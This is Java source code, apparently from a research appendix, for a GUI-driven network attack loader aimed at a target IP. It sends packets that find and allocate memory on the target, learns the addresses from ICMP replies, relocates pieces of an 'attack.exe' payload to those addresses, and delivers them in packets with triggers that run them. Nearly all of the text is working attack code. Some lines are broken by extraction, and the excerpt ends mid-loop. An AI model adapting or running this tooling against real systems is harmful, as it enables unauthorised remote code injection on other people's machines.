    controlFrame.getContentPane().add(L4); 
 
    JLabel L5 = new JLabel("     "); 
    gbConstraints.gridx = 4; 
    gbConstraints.gridy = 2; 
    gbLayout.setConstraints(L5, gbConstraints); 
    controlFrame.getContentPane().add(L5); 
 
    JLabel L6 = new JLabel("Attacker's IP"); 
    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 1; 
    gbLayout.setConstraints(L6, gbConstraints); 
    controlFrame.getContentPane().add(L6); 
 
    JLabel L7 = new JLabel("Target IP"); 
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    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 2; 
    gbLayout.setConstraints(L7, gbConstraints); 
    controlFrame.getContentPane().add(L7); 
 
    tf4 = new JTextField(10); 
    tf4.setText("192.168.1.1"); 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 1; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(tf4, gbConstraints); 
    controlFrame.getContentPane().add(tf4); 
 
    tf5 = new JTextField(10); 
    tf5.setText("192.168.1.2"); 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 2; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(tf5, gbConstraints); 
    controlFrame.getContentPane().add(tf5); 
 
    tf1 = new JTextField(10); 
    tf1.setText("FA600ABA"); 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 4; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(tf1, gbConstraints); 
    controlFrame.getContentPane().add(tf1); 
 
    tf2 = new JTextField(10); 
    tf2.setText("FF5F3008"); 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 5; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(tf2, gbConstraints); 
    controlFrame.getContentPane().add(tf2); 
 
    tf3 = new JTextField(10); 
    tf3.setText("FF5F5008"); 
    gbConstraints.gridx = 3; 
    gbConstraints.gridy = 6; 
    gbConstraints.fill = gbConstraints.BOTH; 
    gbLayout.setConstraints(tf3, gbConstraints); 
    controlFrame.getContentPane().add(tf3); 
 
    b1 = new JButton("Store Addr1"); 
    gbConstraints.gridx = 5; 
    gbConstraints.gridy = 4; 
    gbLayout.setConstraints(b1, gbConstraints); 
    controlFrame.getContentPane().add(b1); 
 
    b2 = new JButton("Store Addr2"); 
    gbConstraints.gridx = 5; 
    gbConstraints.gridy = 5; 
    gbLayout.setConstraints(b2, gbConstraints); 
    controlFrame.getContentPane().add(b2); 
 
    b3 = new JButton("Store Addr3"); 
    gbConstraints.gridx = 5; 
    gbConstraints.gridy = 6; 
    gbLayout.setConstraints(b3, gbConstraints); 
    controlFrame.getContentPane().add(b3); 
 
    b4 = new JButton("Store IP1"); 
    gbConstraints.gridx = 5; 
    gbConstraints.gridy = 1; 
    gbLayout.setConstraints(b4, gbConstraints); 
    controlFrame.getContentPane().add(b4); 
 
    b5 = new JButton("Store IP2"); 
    gbConstraints.gridx = 5; 
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    gbConstraints.gridy = 2; 
    gbLayout.setConstraints(b5, gbConstraints); 
    controlFrame.getContentPane().add(b5); 
 
    gbConstraints.gridx = 0; 
    gbConstraints.gridy = 3; 
    gbConstraints.gridwidth = 6; 
    gbConstraints.fill = gbConstraints.BOTH; 
    JPanel j = new JPanel(); 
    j.setBackground(Color.gray); 
    j.setSize(900, 2); 
    gbLayout.setConstraints(j, gbConstraints); 
    controlFrame.getContentPane().add(j); 
    b1.addActionListener(buttonHandler); 
    b2.addActionListener(buttonHandler); 
    b3.addActionListener(buttonHandler); 
    b4.addActionListener(buttonHandler); 
    b5.addActionListener(buttonHandler); 
    buttCont.addActionListener(buttonHandler); 
 
    menuBar.add(menu1); 
    menu1.add(exitItem); 
    menu1.setSize(100, 15); 
    menuBar.add(menu2); 
    menu2.add(instructionsItem); 
    menu2.setSize(100, 15); 
 
    jFrame.setJMenuBar(menuBar); 
    jFrame.show(); 
    proceed = false; 
    b1.setEnabled(false); 
    b2.setEnabled(false); 
    b3.setEnabled(false); 
    jFrame.addWindowListener( 
        new WindowAdapter() { 
      public void windowClosing(WindowEvent e) { 
        System.exit(0); 
      } 
    } 
    ); 
  } 
 
 
  /*************************************************************************** 
   *  callTableRelocations 
   * 
   * This method/procedure carries out the relocations needed on the last part, 
   * the call table that is used to refer to the artifice functions that need 
   * to be called.  The reason we need this call table is because, the bootstrap 
   * loader only refers to addresses in memory above its own address, at a 16 bit 
   * offset from it, thus triggers can only be set to this space.  Therefore, 
   * a call table is placed in the artBuffer, and then the triggers are set to it, 
   * and when a trigger is run, the call table diverts control to a called 
function 
   * at a 32 bit address. 
   * 
   * File ctFile -- the file on which relocations will be carried out. 
   * File relocFile -- the file which specifies the relocations. 
   ***************************************************************************/ 
  public void callTableRelocations(File ctFile, File relocFile) { 
    try { 
      Vector stringHolder = new Vector(); 
      String s1 = ""; 
      String s2 = ""; 
      int pos = 0; 
      FileInputStream in = new FileInputStream(relocFile); 
      InputStreamReader relocIn = new InputStreamReader(in, ENCODING); 
      BufferedReader b1 = new BufferedReader(relocIn); 
      while ( (s1 = b1.readLine()) != null) 
        stringHolder.add(s1); 
      b1.close(); 
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      FileOutputStream out = new FileOutputStream(new File("~tempCT")); 
      OutputStreamWriter relocOut = new OutputStreamWriter(out, ENCODING); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } // now I have the offset and the 
        /////******These three if statements will change as the jump table 
         ////******structure changes!!! 
          if (i < 5) { // for first two entries // add alloc1 
            String s = s2; //switchByteOrder(s2); 
            int sum = hexToInt(alloc1Address) + hexToInt(s); 
            s = Integer.toHexString(sum); 
            s = switchByteOrder(s); 
            relocOut.write(s1 + "\t" + s); 
          } 
        if (i == 5) { 
          String s = s2; //switchByteOrder(s2); 
          int sum = hexToInt(alloc2Address) + hexToInt(s); 
          s = Integer.toHexString(sum); 
          s = switchByteOrder(s); 
          relocOut.write(s1 + "\t" + s); 
        } 
        if (i < stringHolder.size()) 
          ; 
        relocOut.write("\r\n"); 
      } 
      relocOut.close(); 
      relocateFile(ctFile, new File("~tempCT")); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
  } 
 
  /*************************************************************************** 
   * convertEncoding 
   * 
   * This is another utility function, not used in the attack , but used to 
   * illustrate the conversion of a file written with one encoding to another. 
   * 
   * File inputFile  -- File that will be converted 
   * File outputFile -- Converted File 
   * String oldEncoding -- old encoding 
   * String newEncoding -- new encoding 
   * 
   * (note: this is based on code in Java Network Programming, Hughes, p.174 
   ***************************************************************************/ 
  public void convertEncoding(File inputFile, File outputFile, 
                              String oldEncoding, String newEncoding) { 
    messageText.append("Converting the encoding of:\t" + inputFile.getName() + 
                       " (" + oldEncoding + ")" + "\nNew File is:\t\t" + 
                       outputFile.getName() + " (" + newEncoding + ")\n"); 
    try { 
      FileInputStream fileIn = new FileInputStream(inputFile); 
      FileOutputStream fileOut = new FileOutputStream(outputFile); 
      InputStreamReader inputStreamReader = new InputStreamReader(fileIn, 
          oldEncoding); 
      OutputStreamWriter outputStreamWriter = new OutputStreamWriter(fileOut, 
          newEncoding); 
      char[] buffer = new char[16]; 
      int numberRead; 
      while ( (numberRead = inputStreamReader.read(buffer)) > -1) { 
        outputStreamWriter.write(buffer, 0, numberRead); 
      } 
      outputStreamWriter.close(); 
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      inputStreamReader.close(); 
    } 
    catch (IOException e) {} 
  } 
 
  /*************************************************************************** 
   * copyFile 
   * 
   * This makes an entire, exact file copy (well, depending on the encoding...) 
   * of a file.  This is especially useful for files used to make changes based 
   * on offsets, like those used in relocation.  You want to make copies of them, 
   * otherwise, you will have to change them after every run because they are 
saved 
   * with the new values in them, not the original offset addresses from the 
   * beginning of the file. 
   * 
   * File inputFile  -- File to be copied 
   * File outputFile -- Destination file 
   ***************************************************************************/ 
  public void copyFile(File inputFile, File outputFile) { 
    try { 
      FileInputStream fileIn = new FileInputStream(inputFile); 
      FileOutputStream fileOut = new FileOutputStream(outputFile); 
      InputStreamReader in = new InputStreamReader(fileIn, ENCODING); 
      OutputStreamWriter out = new OutputStreamWriter(fileOut, ENCODING); 
      int c; 
      while ( (c = in.read()) != -1) { 
        out.write(c); 
      } 
      in.close(); 
      out.close(); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
      messageText.append("One of the two files not found"); 
    } 
    return; 
  } 
 
  /*************************************************************************** 
   * copyFileFragment 
   * 
   * In a file, the start and beginning address offsets are specified to show what 
   * portions of the inputFile should be copied to the outputFile.  This has a 
   * number of general uses such as shortening a file, or just getting portions 
   * you need from it.  I copy blank space in one instance of using this method, 
   * because that allows me to construct a 32 byte jump table with all 0x0's in 
   * it. 
   * 
   * File inputFile  -- File that will be fragmented. 
   * File outputFile -- Target file 
   * File paramFile  -- File that specifies what chunks of inputFile to put in 
   *                    outputFile 
   ***************************************************************************/ 
  public void copyFileFragment(File inputFile, File outputFile, File paramFile) { 
    // file must have start/end points in order and non-overlapping 
 
    messageText.append("Copying a fragment of " + inputFile.getName() + 
                       " into " + outputFile.getName() + " specified by " + 
                       paramFile.getName() + "\n"); 
    try { 
      FileInputStream fileIn = new FileInputStream(inputFile); 
      FileOutputStream fileOut = new FileOutputStream(outputFile); 
      InputStreamReader iFile = new InputStreamReader(fileIn, ENCODING); 
      OutputStreamWriter oFile = new OutputStreamWriter(fileOut, ENCODING); 
      Vector startVec = new Vector(); 
      Vector endVec = new Vector(); 
      Vector stringHolder = new Vector(); 
      FileInputStream pFileIn = new FileInputStream(paramFile);  
      InputStreamReader pFile = new InputStreamReader(pFileIn, ENCODING); 
      String s1 = new String(); 



73 

      String s2 = new String(); 
      int pos = 0; 
      BufferedReader b = new BufferedReader(pFile); 
      while ( (s1 = b.readLine()) != null) { 
        stringHolder.add(s1); 
      } 
      b.close(); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } 
        // copy start and end points from files into vectors 
        startVec.add(new Integer(hexToInt(s1))); 
        endVec.add(new Integer(hexToInt(s2))); 
      } 
      // for loop that goes element by element in both vectors and 
      // copies them in pieces to the final file. 
      int c, sectionCount, count; 
      count = 0; 
      sectionCount = 0; 
      while ( (c = iFile.read()) != -1 && sectionCount < endVec.size()) { 
        Integer startOfSection = (Integer) startVec.elementAt(sectionCount); 
        Integer endOfSection = (Integer) endVec.elementAt(sectionCount); 
        if (count >= startOfSection.intValue()) { 
          oFile.write(c); 
        } 
        if (count == endOfSection.intValue()) 
          sectionCount++; 
        count++; 
      } 
      oFile.close(); 
      iFile.close(); 
      pFile.close(); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
  } 
 
  /*************************************************************************** 
   *  createEncodingExampleFile 
   * 
   * This is a simple utility method which when, ENCODING, is specified as a 
   * certain encoding, a file of the byte values 0 to 255 is made and the user 
   * can see which byte values that particular encoding can read or write. 
   * So far, ISO-8859-1 is the only true bit to bit, read to write complete 
   * fidelity encoding I've found. 
   ***************************************************************************/ 
  public void createEncodingExampleFile(File t) { 
    try { 
      FileOutputStream fileOut = new FileOutputStream(t); 
      OutputStreamWriter tmpWr = new OutputStreamWriter(fileOut, ENCODING); 
      for (int i = 0; i < 256; i++) 
        tmpWr.write(i); 
      tmpWr.close(); 
    } 
    catch (IOException e) {} 
  } 
 
  /*************************************************************************** 
   * divideAndCombine 
   * 
   * This method takes a header file, in our case, the loading code which is 
   * copies the artifice code into the allocated buffer area, places a portion 
   * of a larger file with it, giving us packets that can load themselves when 
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   * the trigger for loading is run. 
   * 
   * [-----------------------]                  [---------------------] 
   * [  Entire Header file   ]                  [  Entire Header file ] 
   * [-----------------------]                  [---------------------] 
   * [                       ]     ........     [                     ] 
   * [  piece 1 of big file  ]                  [ piece N of big file ] 
   * [                       ]                  [                     ] 
   * [-----------------------]                  [---------------------] 
   * 
   * File headerFile -- file to put at the top of every file, can be an empty 
   *                    file if a header is not needed. 
   * File divideFile -- file that will be divided into different packets 
   * String tfn      -- base name for packet files 
   * long sizeLimit  -- how big the payload of each packet can be. 
   * boolean delete  -- delete on exit. 
   ***************************************************************************/ 
  public File[] divideAndCombine(File headerFile, File divideFile, String tfn, 
                                 long sizeLimit, boolean delete) { 
    messageText.append("Dividing " + divideFile.getName() + 
                       " into packets of size " + sizeLimit + 
                       " with header file " + headerFile.getName() + "\n"); 
    String t = tfn; 
    long sectionSize = 0; 
    long numPackets = 0; 
    try { 
      FileInputStream headerIn; 
      FileInputStream divideIn = new FileInputStream(divideFile); 
      InputStreamReader hdrRd; 
      InputStreamReader dvdRd = new InputStreamReader(divideIn, ENCODING); 
      // see if size of headerFile and divideFile is less than sizeLimit 
      if (sizeLimit >= (headerFile.length() + divideFile.length())) { 
        headerIn = new FileInputStream(headerFile); 
        hdrRd = new InputStreamReader(headerIn, ENCODING); 
        packetFileArray = new File[1]; 
        packetFileArray[0] = new File(tfn); 
        FileOutputStream fileOut = new FileOutputStream(packetFileArray[0]); 
        OutputStreamWriter tmpWr = new OutputStreamWriter(fileOut, ENCODING); 
        if (delete) 
          packetFileArray[0].deleteOnExit(); 
        int c = 0; 
        while ( (c = hdrRd.read()) != -1) 
          tmpWr.write(c); 
        while ( (c = dvdRd.read()) != -1) 
          tmpWr.write(c); 
        tmpWr.close(); 
        hdrRd.close(); 
      } 
      else { 
        int c = 0; 
        // calculate how big the pieces of the divideFile should be. 
        sectionSize = sizeLimit - headerFile.length(); 
        // decide how many packets will be made. 
        if ( (divideFile.length() % sectionSize) == 0) 
          numPackets = divideFile.length() / sectionSize; 
        else 
          numPackets = divideFile.length() / sectionSize + 1; 
          // create the number of packet files needed 
        packetFileArray = new File[ (int) numPackets]; 
        // establish each packet file's contents 
        for (int i = 0; i < numPackets; i++) { 
          headerIn = new FileInputStream(headerFile); 
          hdrRd = new InputStreamReader(headerIn, ENCODING); 
          tfn = tfn.concat(tfn.valueOf(i)); 
          packetFileArray[i] = new File(tfn); 
          FileOutputStream fileOut = new FileOutputStream(packetFileArray[i]); 
          OutputStreamWriter tmpWr = new OutputStreamWriter(fileOut, ENCODING); 
          if (delete) 
            packetFileArray[i].deleteOnExit(); 
          while ( (c = hdrRd.read()) != -1) 
            tmpWr.write(c); 
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          if (i == numPackets - 1) 
            while ( (c = dvdRd.read()) != -1) 
              tmpWr.write(c); 
          else 
            for (int j = 0; j < sectionSize; j++) { 
              c = dvdRd.read(); 
              tmpWr.write(c); 
            } 
          tmpWr.close(); 
          hdrRd.close(); 
          tfn = t; 
        } 
      } 
      dvdRd.close(); 
    } 
    catch (IOException e) {} 
    catch (NullPointerException i) { 
      i.printStackTrace(); 
    } 
    return packetFileArray; 
  } 
 
  /*************************************************************************** 
   * fileHexToString 
   * 
   * This method changes an entire file of bytes into a string of ASCII 
characters. 
   * 
   * File inputFile  -- File that will be converted from bytes to a string 
   ***************************************************************************/ 
  public String fileHexToString(File inputFile) { 
    String temp = ""; 
    try { 
      FileInputStream fileIn = new FileInputStream(inputFile); 
      byte[] bArray = new byte[16]; 
      int c = 0; 
      String ch; 
      int hexCol, onesCol; 
      while ( (c = fileIn.read()) != -1) { 
        c = (c >= 0) ? c : c + 256; 
        hexCol = c / 16; 
        onesCol = c % 16; 
        switch (hexCol) { 
          case 10: 
            ch = "a"; 
            break; 
          case 11: 
            ch = "b"; 
            break; 
          case 12: 
            ch = "c"; 
            break; 
          case 13: 
            ch = "d"; 
            break; 
          case 14: 
            ch = "e"; 
            break; 
          case 15: 
            ch = "f"; 
            break; 
          default: 
            ch = temp.valueOf(hexCol); 
        } 
        temp = temp.concat(ch); 
        switch (onesCol) { 
          case 10: 
            ch = "a"; 
            break; 
          case 11: 
            ch = "b"; 
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            break; 
          case 12: 
            ch = "c"; 
            break; 
          case 13: 
            ch = "d"; 
            break; 
          case 14: 
            ch = "e"; 
            break; 
          case 15: 
            ch = "f"; 
            break; 
          default: 
            ch = temp.valueOf(onesCol); 
        } 
        temp = temp.concat(ch); 
      } 
      fileIn.close(); 
    } 
    catch (IOException e) {} 
    // run through the File and convert bytes to hex 
    return temp; 
  } 
 
  /*************************************************************************** 
   * hexToInt 
   * 
   * This method changes a String representation of a hex value to an integer, 
   * which can then be written to a file as a byte. 
   * 
   * String hex      -- the hex RVA to be converted to its position (byte number) 
   *                    in the file.  This can also, if 'hex' is two hex digits, 
   *                    convert a string byte to a real byte (i.e. "A4" to the 
   *                    byte A4). 
   ***************************************************************************/ 
  public int hexToInt(String hex) { 
    int sum = 0, val = 0, power = 0; 
    char a; 
    Integer r; 
    for (int i = hex.length() - 1; i >= 0; i--) { 
      a = hex.charAt(i); 
      switch (a) { 
        case 'a': 
        case 'A': 
          val = 10; 
          break; 
        case 'b': 
        case 'B': 
          val = 11; 
          break; 
        case 'c': 
        case 'C': 
          val = 12; 
          break; 
        case 'd': 
        case 'D': 
          val = 13; 
          break; 
        case 'e': 
        case 'E': 
          val = 14; 
          break; 
        case 'f': 
        case 'F': 
          val = 15; 
          break; 
        default: 
          r = new Integer(a); 
          val = r.intValue() - 48; 
      } 
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      int temp = 1; 
      for (int j = 0; j < power; j++) 
        temp = temp * 16; 
      sum = sum + val * temp; 
      power++; 
    } 
    return sum; 
  } 
 
  /*************************************************************************** 
   *  jumpTableRelocations 
   * 
   * This method/procedure is used to specify changes to the jump table, which 
   * points to other functions in other allocated memory spaces when the change- 
   * able artifice is completely loaded into the final memory space. 
   * 
   * File jtFile -- file with the jump table in it 
   * File relocFile --  file with the relocations in it. 
   ***************************************************************************/ 
  public void jumpTableRelocations(File jtFile, File relocFile) { 
    try { 
      Vector stringHolder = new Vector(); 
      String s1 = ""; //new String(); 
      String s2 = ""; //new String(); 
      int pos = 0; 
      FileInputStream in = new FileInputStream(relocFile); 
      InputStreamReader relocIn = new InputStreamReader(in, ENCODING); 
      BufferedReader b1 = new BufferedReader(relocIn); 
      while ( (s1 = b1.readLine()) != null) 
        stringHolder.add(s1); 
      b1.close(); 
      FileOutputStream out = new FileOutputStream(new File("~tempJT")); 
      OutputStreamWriter relocOut = new OutputStreamWriter(out, ENCODING); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } 
        /////******These three if statements will change as the jump table 
         ////******structure changes!!! 
          if (i < 2) { // for first two entries // add alloc1 
            String s = s2; //switchByteOrder(s2); 
            int sum = hexToInt(alloc1Address) + hexToInt(s); 
            s = Integer.toHexString(sum); 
            s = switchByteOrder(s); 
            relocOut.write(s1 + "\t" + s); 
          } 
        if (i == 2 || i == 3) { 
          String s = s2; //switchByteOrder(s2); 
          int sum = hexToInt(alloc2Address) + hexToInt(s); 
          s = Integer.toHexString(sum); 
          s = switchByteOrder(s); 
          relocOut.write(s1 + "\t" + s); 
        } 
        if (i == 4) { 
          String s = s2; //switchByteOrder(s2); 
          int sum = hexToInt(artBufferAddressSaved) + hexToInt(s); 
          s = Integer.toHexString(sum); 
          s = switchByteOrder(s); 
          relocOut.write(s1 + "\t" + s); 
        } 
        if (i < stringHolder.size()) 
          ; 
        relocOut.write("\r\n"); 
      } 
      relocOut.close(); 
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      relocateFile(jtFile, new File("~tempJT")); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
  } 
 
  /*************************************************************************** 
   * pauseAttack() 
   * 
   * This method is used throughout to give the user a chance to carry out 
   * intervening activities in support of the attack such as start the packet 
   * sniffer, input values, etc. 
   * 
   * boolean test -- this variable is set to true if the Continue button will 
   * be used to proceed (to set proceed = true).  An example of another method 
   * making this value true would be another button setting proceed to true. 
   ***************************************************************************/ 
  public void pauseAttack(boolean test) { 
    buttCont.setEnabled(test); 
    while (!proceed) 
      try { 
        this.sleep(500); 
      } 
      catch (InterruptedException e) {} 
    buttCont.setEnabled(false); 
    proceed = false; 
  } 
 
  /*************************************************************************** 
   * relocate 
   * 
   * File inputFile  -- The file that needs an address relocated or a byte value 
   *                    changed. (It can do that too :-) 
   * int pos         -- int position in the file of the first byte to change 
   * String value    -- string representation of what to bytes to put at pos. 
   ***************************************************************************/ 
  public void relocate(File inputFile, int pos, String value) { 
    try { 
      File tempR = new File("~tempR"); 
      File tempW = new File("~tempW"); 
      int c = 0; 
      copyFile(inputFile, tempR); 
      FileInputStream fileIn = new FileInputStream(tempR); 
      FileOutputStream fileOut = new FileOutputStream(tempW); 
      InputStreamReader tmpRd = new InputStreamReader(fileIn, ENCODING); 
      OutputStreamWriter tmpWr = new OutputStreamWriter(fileOut, ENCODING); 
      // traverse the file, get to the byte to change 
      for (int i = 0; i < pos; i++) { 
        c = tmpRd.read(); 
        tmpWr.write(c); 
      } 
 
      for (int i = 0; i < value.length(); i += 2) { 
        c = hexToInt(value.substring(i, i + 2)); 
        tmpWr.write(c); 
      } 
      for (int i = 0; i < value.length() / 2; i++) 
        tmpRd.read(); 
      while ( (c = tmpRd.read()) != -1) 
        tmpWr.write(c); 
      tmpRd.close(); 
      tmpWr.close(); 
      copyFile(tempW, inputFile); 
      tempR.deleteOnExit(); 
      tempW.deleteOnExit(); 
    } 
    catch (IOException e) {} 
    return; 
  } 
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  /*************************************************************************** 
   *  relocateFile 
   * 
   * This file is the utility used throughout the linker/loader for relocating 
   * an entire file based on changes specified in a file. 
   * 
   * The format for the file is "'address-(offset)','\t','value at that location'" 
   * using ASCII versions of the Hex digits (e.g., 'A', 'B', etc.) 
   * 
   *  File inputFile   -- File that will be relocated. 
   *  File changesFile -- File that specifies the changes to be made. 
   ***************************************************************************/ 
  public void relocateFile(File inputFile, File changesFile) { 
    try { 
      messageText.append("Relocating " + inputFile.getName() + 
                         " using relocations specified in " + 
                         changesFile.getName() + "\n"); 
      Vector stringHolder = new Vector(); 
      String s1 = new String(); 
      String s2 = new String(); 
      int pos = 0; 
      FileReader changesIn = new FileReader(changesFile); 
      BufferedReader b = new BufferedReader(changesIn); 
      while ( (s1 = b.readLine()) != null) 
        stringHolder.add(s1); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } 
        pos = hexToInt(s1); 
        relocate(inputFile, pos, s2); 
      } 
    } 
    catch (IOException e) {} 
  } 
 
  /*************************************************************************** 
   * relocateFileByAddress 
   * 
   * This method/procedure performs the needed relocations on the artifice file 
   * that will be linked/loaded in the allocated memory space.  It can be used to 
   * relocate any file that only needs one base address to add to the offsets in 
   * the file. 
   * 
   * File inFile -- has the file to be relocated 
   * File relocFile -- the file that specifies the relocations 
   * String addr -- the address that will be added to the values en masse. 
   ***************************************************************************/ 
  public void relocateFileByAddress(File inFile, File relocFile, String addr) { 
    // put the addresses and offsets in the relocation file into a data structure, 
    // switch the byte order as they are read into the D.S. 
    try { 
      copyFile(relocFile, new File("~tempAF")); 
      Vector stringHolder = new Vector(); 
      String s1 = ""; 
      String s2 = ""; 
      int pos = 0; 
      FileInputStream in = new FileInputStream(new File("~tempAF")); 
      InputStreamReader changesIn = new InputStreamReader(in, ENCODING); 
      BufferedReader b1 = new BufferedReader(changesIn); 
      while ( (s1 = b1.readLine()) != null) { 
        stringHolder.add(s1); 
      } 
      b1.close(); 
      FileOutputStream out = new FileOutputStream("~tempAF"); 
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      OutputStreamWriter changesOut = new OutputStreamWriter(out, ENCODING); 
      for (int i = 0; i < stringHolder.size(); i++) { 
        s1 = (String) stringHolder.elementAt(i); 
        if ( (pos = s1.indexOf("\t")) != -1) { 
          s2 = s1.substring(pos + 1, s1.length()); 
          s1 = s1.substring(0, pos); 
        } 
        else { 
          s2 = s1.substring(8, s1.length()); 
          s1 = s1.substring(0, 7); 
        } 
        // add values to the relocation file's values 
        int sum = hexToInt(addr); 
        sum += hexToInt(s2); 
        s2 = Integer.toHexString(sum); 
        // write the values back to the relocation file 
        // switch the byte orders of the addresses as they are written 
        changesOut.write(s1 + "\t" + switchByteOrder(s2)); 
        if (i < stringHolder.size()) 
          changesOut.write("\r\n"); 
      } 
      changesOut.close(); 
      relocateFile(inFile, new File("~tempAF")); 
    } 
    catch (IOException e) { 
      e.printStackTrace(); 
    } 
  } 
 
  /*************************************************************************** 
   *  run method 
   * 
   * This is the main run method for the thread, which has all of the main 
   * activities for the linker loader.  Changes should be made to this if the 
   * number of buffer spaces changes (more strict memory requirements).  Right 
   * now the filenames are hardcoded in, but this could change if the user 
   * desires a pop-up box to specify the file names. 
   ***************************************************************************/ 
  public void run() { 
    //-------------- Misc ---------------// 
    createEncodingExampleFile(new File("testEncoding"));  

// this is a nice utility to see which bytes are readable for 
    // the specified encoding. 
    // run the file through "./shed to see which bytes are covered. 
    packetText.append("Track the packets you send out here\n\n"); 
 
    //------------------------- Phase 1 -------------------------------// 
    pauseAttack(false); 
 
    messageText.append( 

        "\n//------------------------- Phase 1 ---------------------------
----//\n"); 

    messageText.append( 
        "Commencing Phase 1: finding memory\nStart sniffing packets now.\n"); 
    pauseAttack(true); 
 
    //----------- shorten phase 1 code to an ideal size ---------------// 
    copyFileFragment(new File("phase1GetMemory.exe"), 
                     new File("phase1Shortened.exe"), new File("phase1Shorten")); 
    pauseAttack(true); 
 
    //------------ Send packet with request memory code ---------------// 
    sendipPacket(new File("phase1Shortened.exe"), 1); 
    pauseAttack(true); 
 
    //--------------- Set trigger for request memory ------------------// 
    sendipPacket(new File("findMemSetTrigger.dat"), 2);  

// setting trigger specified in offset.dat 
    pauseAttack(true); 
 
    //-------------- Send trigger for request memory ------------------// 
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    sendipPacket(new File("findMemRunTrigger.dat"), 3); // get the first memory 
space 
    sendipPacket(new File("findMemRunTrigger.dat"), 3); // get the second memory 
space 
    messageText.append("Done with Phase 1, press continue to go to Phase 2\n\n"); 
    pauseAttack(true); 
 
    //------------------------- Phase 2 -------------------------------// 
    messageText.append( 
        "\n//------------------------- Phase 2 -------------------------------
//\n"); 
    messageText.append("Commencing Phase 2: loading and relocation\n"); 
    pauseAttack(true); 
 
    //---- Based on returned data, relocate to specified addresses ----// 
    messageText.append("Now, stop capturing packets, take the addresses from the 
two ICMP packets and place them in the artifice relocation file, in REGULAR byte 
format.\n"); 
    b1.setEnabled(true); 
    b2.setEnabled(true); 
    b3.setEnabled(true); 
    pauseAttack(false); 
 
    // copyFileFragment the phase 2 copying code 
    copyFileFragment(new File("phase2ByteCopy.exe"), 
                     new File("phase2CopyShortened.exe"), 
                     new File("phase2CopyShorten")); 
    pauseAttack(true); 
 
    // copyFileFragment first attack file piece 
    copyFileFragment(new File("attack.exe"), new File("attackFileShort1"), 
                     new File("attackFileShorten1")); 
    pauseAttack(true); 
 
    // copyFileFragment second attack file piece 
    copyFileFragment(new File("attack.exe"), new File("attackFileShort2"), 
                     new File("attackFileShorten2")); 
    pauseAttack(true); 
 
    // prepare the first attack relocation file 
    // AND relocate the first file for the first allocated area 
    copyFile(new File("attackFileRelocations1"), 
             new File("tempAttackFileRelocations1")); 
    relocateFileByAddress(new File("attackFileShort1"), 
                         new File("tempAttackFileRelocations1"), alloc1Address); 
    pauseAttack(true); 
 
    // prepare the second attack relocation file 
    // AND relocate the second file for the second allocated area 
    copyFile(new File("attackFileRelocations2"), 
             new File("tempAttackFileRelocations2")); 
    relocateFileByAddress(new File("attackFileShort2"), 
                         new File("tempAttackFileRelocations2"), alloc1Address); 
    pauseAttack(true); 
 
    // prepare the file with the jump table with the correct values. 
    copyFile(new File("jumpTableRelocations"), 
             new File("tempJumpTableRelocations")); 
    jumpTableRelocations(new File("attackFileShort1"), 
                         new File("tempJumpTableRelocations")); 
    pauseAttack(true); 
 
    // divide first file into packets, then combine each with loading code header 
    divideAndCombine(new File("phase2CopyShortened.exe"), 

                     new File("attackFileShort1"), "~temp1", 1200, false); 
//attackFileShort1 

    pauseAttack(true); 
 
    int allocPointer = hexToInt(alloc1Address); 
    // execute the load/execute loop for loading the first part 
    for (int i = 0; i < packetFileArray.length; i++) { 
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      // calculate the correct address values 
      int copyStart = hexToInt(artBufferAddress) + 43; 
      int dataSize = (int) packetFileArray[i].length() - 43; 
      int copyEnd = copyStart + dataSize; 
      // relocate the header to load the data properly 
      copyFile(new File("arrayFileRelocations"), new File("tempRelocations")); 
      updateLoadingCode(new File("tempRelocations"), copyStart, copyEnd, 
                               allocPointer); 
      relocateFile(packetFileArray[i], new File("tempRelocations")); 
      // send a packet to be loaded 
      sendipPacket(packetFileArray[i], 1); 
      pauseAttack(true); 
      // run the loading code 
      sendipPacket(new File("findMemRunTrigger.dat"), 3); 
      allocPointer += dataSize; 
    } 
 
    // divide second file into packets, then combine each with loading code header 
    divideAndCombine(new File("phase2CopyShortened.exe"), 

                     new File("attackFileShort2"), "~temp2", 1200, false); 
//attackFileShort1 

    pauseAttack(true); 
 
    allocPointer = hexToInt(alloc2Address); 
    // execute the load/execute loop for loading the second part 
    for (int i = 0; i < packetFileArray.length; i++) { 
      // calculate the correct address values 
      int copyStart = hexToInt(artBufferAddress) + 43; 
      int dataSize = (int) packetFileArray[i].length() - 43; 
